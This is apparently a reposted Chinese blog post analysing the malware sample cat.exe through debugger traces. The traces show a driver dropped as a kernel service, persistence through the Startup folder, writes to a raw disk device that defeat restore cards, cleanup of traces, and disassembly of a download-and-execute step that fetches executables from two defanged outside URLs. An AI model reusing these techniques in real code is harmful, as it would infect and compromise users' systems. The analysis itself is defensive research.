FROM:http://hi.baidu.com/cyto/blog/item/5fcbeafd892f0e41d6887d52.html

cat.exe

来源参考:http://www.scanw.com/blog/?p=5

0.请参考该文描述:
http://bbs.micropoint.com.cn/showthread.asp?tid=28056&fpage=1
该样本被执行后,将驱动文件“~46.tmp”(46是一个随机值)释放到%Temp%目录下,调用SCM写注册表将~46.tmp注册成名为 sys_flt的windows内核服务,并通过相关API启动;服务启动后创建磁盘设备“\Device\yyy2”,创建目录对象“\Device\ zzz”,通过函数DeviceIoControl调用相关控制码得到主DOS分区信息并获取设备号后关闭句柄;拷贝自身到开始->附件-> 启动组中,打开设备“\Device\yyy2”通过DeviceIoControl传递自身控制码8000F800访问物理磁盘,利用 CopyFileA函数将“%Temp%\~46.tmp”及启动组中的病毒文件拷贝到“\\.\yyy2”中,以达到突破还原卡的目的;在“% SystemRoot%\System32\”下释放批处理文件Deletedll.bat,执行后删除“%Temp%\~46.tmp”和 Deletedll.bat;病毒调用API函数URLDownloadToFileA从网络上下载各种病毒到系统磁盘根目录下并执行。

1.释放文件:
00405D52     E8 55E9FFFF              call 004046AC                             ; jmp to kernel32.CreateFileA
00405D8D     E8 2AE9FFFF              call 004046BC                             ; jmp to kernel32.WriteFile
(ASCII “C:\DOCUME~1\gao1\LOCALS~1\Temp\~50.tmp”)

2.创建服务:
00406165     B8 90614000              mov eax,406190                            ; ASCII “sys_flt”
0040616A     E8 D5EAFFFF              call 00404C44                             ; dumped_.00404C44
0012FEFC    00404CBB   /CALL to CreateServiceA from dumped_.00404CB6
0012FF00    0013CC08   |hManager = 0013CC08
0012FF04    00406190   |ServiceName = “sys_flt”
0012FF08    00406190   |DisplayName = “sys_flt”
0012FF0C    000F01FF   |DesiredAccess = SERVICE_ALL_ACCESS
0012FF10    00000002   |ServiceType = SERVICE_FILE_SYSTEM_DRIVER
0012FF14    00000003   |StartType = SERVICE_DEMAND_START
0012FF18    00000001   |ErrorControl = SERVICE_ERROR_NORMAL
0012FF1C    00C90138   |BinaryPathName = “C:\DOCUME~1\gao1\LOCALS~1\Temp\~50.tmp”
0012FF20    00000000   |LoadOrderGroup = NULL
0012FF24    00000000   |pTagId = NULL
0012FF28    00000000   |pDependencies = NULL
0012FF2C    00000000   |ServiceStartName = NULL
0012FF30    00000000   \Password = NULL

3.拷贝到启动项:
0012FF38    00406091   /CALL to CopyFileA from dumped_.0040608C
0012FF3C    00C90048   |ExistingFileName = “c:\documents and settings\gao1\”,D7,”",C0,”",C3,”",E6,”\dumped_.exe”
0012FF40    00C92D04   |NewFileName = “C:\Documents and Settings\All Users\”,A1,”",B8,”",BF,”",AA,”",CA,”",BC,”",A1,”",B9,”",B2,”",CB,”",B5,”",A5,”\”,B3,”",CC,”",D0,”",F2,”\”,C6,”",F4,”",B6,”",AF,”\dumped_.exe”
0012FF44    00000000   \FailIfExists = FALSE

00C92D04 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents and
00C92D14 20 53 65 74 74 69 6E 67 73 5C 41 6C 6C 20 55 73   Settings\All Us
00C92D24 65 72 73 5C A1 B8 BF AA CA BC A1 B9 B2 CB B5 A5 ers\「开始」菜单
00C92D34 5C B3 CC D0 F2 5C C6 F4 B6 AF 5C 64 75 6D 70 65 \程序\启动\dumpe
00C92D44 64 5F 2E 65 78 65 00                             d_.exe.

4.利用CopyFileA函数将启动组中的病毒文件拷贝到创建的设备“\\.\yyy2”中
004056EF     50                       push eax
004056F0     E8 DFEFFFFF              call 004046D4                             ; jmp to kernel32.CopyFileA
0012FEE8    004056F5   /CALL to CopyFileA from dumped_.004056F0
0012FEEC    00C92D04   |ExistingFileName = “C:\Documents and Settings\All Users\”,A1,”",B8,”",BF,”",AA,”",CA,”",BC,”",A1,”",B9,”",B2,”",CB,”",B5,”",A5,”\”,B3,”",CC,”",D0,”",F2,”\”,C6,”",F4,”",B6,”",AF,”\dumped_.exe”
0012FEF0    00C92E28   |NewFileName = “\\.\yyy2\Documents and Settings\All Users\”,A1,”",B8,”",BF,”",AA,”",CA,”",BC,”",A1,”",B9,”",B2,”",CB,”",B5,”",A5,”\”,B3,”",CC,”",D0,”",F2,”\”,C6,”",F4,”",B6,”",AF,”\dumped_.exe”
0012FEF4    00000000   \FailIfExists = FALSE

00C92D04 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents and
00C92D14 20 53 65 74 74 69 6E 67 73 5C 41 6C 6C 20 55 73   Settings\All Us
00C92D24 65 72 73 5C A1 B8 BF AA CA BC A1 B9 B2 CB B5 A5 ers\「开始」菜单
00C92D34 5C B3 CC D0 F2 5C C6 F4 B6 AF 5C 64 75 6D 70 65 \程序\启动\dumpe
00C92D44 64 5F 2E 65 78 65 00 00                          d_.exe..

00C92E28 5C 5C 2E 5C 79 79 79 32 5C 44 6F 63 75 6D 65 6E \\.\yyy2\Documen
00C92E38 74 73 20 61 6E 64 20 53 65 74 74 69 6E 67 73 5C ts and Settings\
00C92E48 41 6C 6C 20 55 73 65 72 73 5C A1 B8 BF AA CA BC All Users\「开始
00C92E58 A1 B9 B2 CB B5 A5 5C B3 CC D0 F2 5C C6 F4 B6 AF 」菜单\程序\启动
00C92E68 5C 64 75 6D 70 65 64 5F 2E 65 78 65 00 00 00 00 \dumped_.exe….

据说这点就是用来突破还原的.
对于如何创建设备\\.\yyy2的过程以及原理不甚了解.

5.扫尾:卸载服务,删除驱动
卸载服务:
004061B1     B8 DC614000              mov eax,4061DC                            ; ASCII “sys_flt”
004061B6     E8 DDEBFFFF              call 00404D98                             ; dumped_.00404D98

删除驱动:
00405F6A     E8 55E7FFFF              call 004046C4                             ; jmp to kernel32.DeleteFileA
0012FF70    00405F6F   /CALL to DeleteFileA from dumped_.00405F6A
0012FF74    00C90138   \FileName = “C:\DOCUME~1\gao1\LOCALS~1\Temp\~50.tmp”

6.下载文件,然后退出:
0040703E     68 D8704000              push 4070D8            ; ASCII “c:\1.exe”
00407043     68 E4704000              push 4070E4            ; ASCII “hxxp://iii.chsip.net/listtt.exe”
00407048     6A 00                    push 0
0040704A     E8 05FFFFFF              call 00406F54           ; jmp to urlmon.URLDownloadToFileA
0040704F     68 D8704000              push 4070D8             ; ASCII “c:\1.exe”
00407054     E8 03FFFFFF              call 00406F5C           ; jmp to kernel32.WinExec

0040705D     68 28714000              push 407128              ; ASCII “c:\2.exe”
00407062     68 34714000              push 407134              ; ASCII “hxxp://test.591jx.com/test.exe”
00407067     6A 00                    push 0
00407069     E8 E6FEFFFF              call 00406F54            ; jmp to urlmon.URLDownloadToFileA
0040706E     68 28714000              push 407128              ; ASCII “c:\2.exe”
00407073     E8 E4FEFFFF              call 00406F5C            ; jmp to kernel32.WinExec

Popularity: 9% [?]